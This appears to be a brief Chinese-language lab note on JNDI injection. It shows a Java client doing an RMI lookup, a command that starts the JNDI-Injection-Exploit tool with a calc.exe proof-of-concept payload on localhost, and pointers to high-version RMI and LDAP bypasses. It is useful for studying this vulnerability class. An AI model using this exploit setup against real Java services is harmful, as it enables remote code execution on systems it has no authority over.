Client:

  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. public class JDNIClient {
  4. public static void main(String[] args) throws Exception {
  5. Context cxt = new InitialContext();
  6. cxt.lookup("rmi://127.0.0.1:1099/nanvqg");
  7. }
  8. }


01. 低版本 RMI 利用

启动JNDIExploit:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc.exe” -A “127.0.0.1”
image.png
然后Client lookup请求恶意的地址即可
image.png

02. 低版本 LDAP 利用

同上
image.png

03. 高版本 RMI利用

参考 高版本绕过分析.

image.png

04. 高版本 LDAP利用

https://github.com/Firebasky/LdapBypassJndi/blob/main/README.zh-cn.md

参考高版本绕过分析.